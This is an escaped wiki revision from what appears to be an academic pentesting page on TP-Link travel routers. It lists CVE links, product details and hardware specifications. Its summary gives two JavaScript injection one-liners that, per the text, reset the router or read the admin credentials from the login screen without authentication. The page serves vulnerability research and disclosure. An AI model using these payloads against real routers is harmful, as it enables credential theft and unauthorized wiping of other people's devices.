&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Product&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/home-networking/wifi-router/tl-wr802n/ (accessed 24 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/home-networking/wifi-router/tl-wr802n/ (accessed 24 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Support&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.tp-link.com/at/support/download/tl-wr802n/ (accessed 24 June 2020)&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.tp-link.com/us/support/download/tl-wr802n/ (accessed 24 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Datasheet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://static.tp-link.com/2018/201810/20181022/TL-WR802N(EU&amp;amp;US)%204.0-datasheet.pdf (accessed 24 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Other&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Dropbear Configuration&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://openwrt.org/docs/guide-user/base-system/dropbear (accessed 28 June 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Vulnerability Reports&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;TL-WR840N (1)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.cvedetails.com/cve/CVE-2019-15060/&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Busybox 1.19.2 (5)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://www.cvedetails.com/version/129256/Busybox-Busybox-1.19.2.html https://www.cvedetails.com] (accessed 1 July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Linux 2.6.36 (233)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://www.cvedetails.com/vulnerability-list/vendor_id-33/product_id-47/version_id-123837/Linux-Linux-Kernel-2.6.36.html https://www.cvedetails.com] (accessed 1 July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;TP-Link (123)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://www.cvedetails.com/vulnerability-list.php?vendor_id=11936&amp;amp;product_id=0&amp;amp;version_id=0&amp;amp;page=1&amp;amp;hasexp=0&amp;amp;opdos=0&amp;amp;opec=0&amp;amp;opov=0&amp;amp;opcsrf=0&amp;amp;opgpriv=0&amp;amp;opsqli=0&amp;amp;opxss=0&amp;amp;opdirt=0&amp;amp;opmemc=0&amp;amp;ophttprs=0&amp;amp;opbyp=0&amp;amp;opfileinc=0&amp;amp;opginf=0&amp;amp;cvssscoremin=0&amp;amp;cvssscoremax=0&amp;amp;year=0&amp;amp;cweid=0&amp;amp;order=1&amp;amp;trc=123&amp;amp;sha=35781d9525571cd66feb101a1896e97c0bad1d33 https://www.cvedetails.com] (accessed 1 July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Used Hardware&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[[TP-Link TL-WR902AC: AC750 Wifi - Travel Router]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[[TP-Link TL-WR802N: 300Mbps Wireless N - Nano Router]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_TP-Link_devices&amp;diff=14609</id>
		<title>Examination of TP-Link devices</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_TP-Link_devices&amp;diff=14609"/>
		<updated>2024-03-12T17:24:52Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;With a market share of over 40 percent of the global consumer WLAN market, TP-Link is the No. 1 WLAN provider.&amp;quot; &amp;lt;sup&amp;gt;[[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ IDC Q4/2018]]&amp;lt;/sup&amp;gt; The TP-Link AC750 Wifi Travel Router (TL-WR902AC FW170828) transmittes Base64 encoded username:password as Authorisation cookie on every GET/POST request over non-encrypted HTTP. In addition, this is transmitted every 20 seconds in the form of a heartbeat message. But these credentials aren&#039;t even necessary, since tons of different CGI actions, ranging from Getter and Setter to System modifications, can be called from the login screen using JavaScript Injection (e.g. Factory reset: &amp;lt;code&amp;gt;$.act(ACT_OP, ACT_OP_FACTORY_RESET); $.act(ACT_OP, ACT_OP_REBOOT); $.exe();&amp;lt;/code&amp;gt;; Get Login Credentials: &amp;lt;code&amp;gt;$.act(ACT_GET, USER_CFG, null, null, [&amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;]); $.exe();&amp;lt;/code&amp;gt;) without the need of any authorization.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;TP-Link is a worldwide leading manufacturer of Smart - Communication products which has made a name for itself in Europe, especially in the D-A-CH region, through efficient, reliable products and services. TP-Link Deutschland GmbH has been in existence since April 2009. Through their renowned distribution, online and retail partners, they sell an extensive range of award-winning SOHO products (WLAN, DSL, Powerline, Repeater, UMTS/LTE, print servers, IP cameras, smart home and smart phones) and SMB products (switch, router, SFP modules, media converters, network adapters). With a market share of over 40 percent of the global consumer WLAN market, TP-Link is the No. 1 WLAN provider&amp;lt;sup&amp;gt;[IDC Q4/2018]&amp;lt;/sup&amp;gt;. Their goal is to provide the ever-growing number of users with products of the highest quality and performance while maintaining competitive prices, and thus remain the No.1 in the long term. In 2018, TP-Link sold 200 million devices worldwide, generating sales of around USD 2.2 billion. The company currently employs around 26,000 people worldwide (as of January 2019).&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/at/about-us/corporate-profile/ TP-Link Profile]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;TL-WR902AC: AC750 Wifi - Travel Router&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The incredibly compact TL-WR902AC is the world’s first AC750 travel router. It creates a personal Wi-Fi spot anywhere internet is available and transforms any internet connection into a private AC750 dual-band Wi-Fi network. The TL-WR902AC supports Router, Hotspot, Range Extender, Client and Access Point Modes.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ Product]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;TL-WR802N: 300Mbps Wireless N - Nano Router&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The TL-WR802N is the smallest wireless router in the world. It is very easy to use and is a perfect choice for travelers, students, and anyone else who lives life on the go. The TL-WR802N can be powered using the included power adapter or using a smartphone /USB charger. To meet the wireless needs of almost any situation you might encounter, the TL-WR802N supports Router, Hotspot, Range Extender, Client and Access Point Modes.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr802n/ Product]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The analyzed device has Hardware V4 but the Austrian webpage only supports V1 and V2 ([https://www.tp-link.com/at/support/download/tl-wr802n/v1/#Firmware Link]). But the German webpage supports Harware V1 to V4 ([https://www.tp-link.com/de/support/download/tl-wr802n/v1/#Firmware Link]) like most of the other regional support webpages.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Mode&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Router Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Create a private Wi-Fi network for Ethernet-based internet access.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Hotspot Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Connect to an outdoor WISP Access Point, enjoy a private Wi-Fi hotspot for your devices in public areas.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Range Extender Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Extend your existing Wi-Fi network to maximize coverage and eliminate dead zones.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Client Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Allow devices that require a wired connection to access an existing Wi-Fi network.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Access Point Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Create a wireless network for Wi-Fi enabled devices.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Examination&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Summary&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; width: calc(100% - 12px);; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Collected Information&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Device Model&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;TL-WR902AC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;TL-WR802N&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Manufacturer&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TP-Link&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TP-Link&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Product Type&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;AC750 Wifi Travel Router&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;300 Mbps Wireless Nano Router&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Transforms any internet connection into a private AC750 dual-band Wi-Fi network&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;The the smallest wireless N router in the world.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Price on Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;38€&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;28€&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2017 Q1 (Ongoing as of July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2015 Q2 (Ongoing as of July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;State of Research&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Multiple vulnerabilities&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Some vulnerabilities, Ongoing Examination&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;USB 2.0, 10/100Mbps WAN/LAN Port&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;10/100 Mbps WAN/LAN Port&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Buttons&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Reset, WPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Reset&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;LED&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Power/Status, WAN, WLAN, USB&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Power/Status&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Power&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;5V/2A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;5V/1A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 802.11b/g/n (Up to 300Mbps), 5GHz: 802.11ac/n/a (Up to 433Mbps)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 802.11b/g/n (Up to 300Mbps)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;3 Mode Switch&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;FCC-ID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TE7WR902ACV3&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TE7WR802NV4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;System&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Ralink APSoC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Processor&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;MT7628 MIPS24KEc V5.5 (580 MHz)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BogoMIPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;386.04&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Memory&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;DRAM: 64MB (16bit)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Storage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Boot from: SPI Flash GD25Q64B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
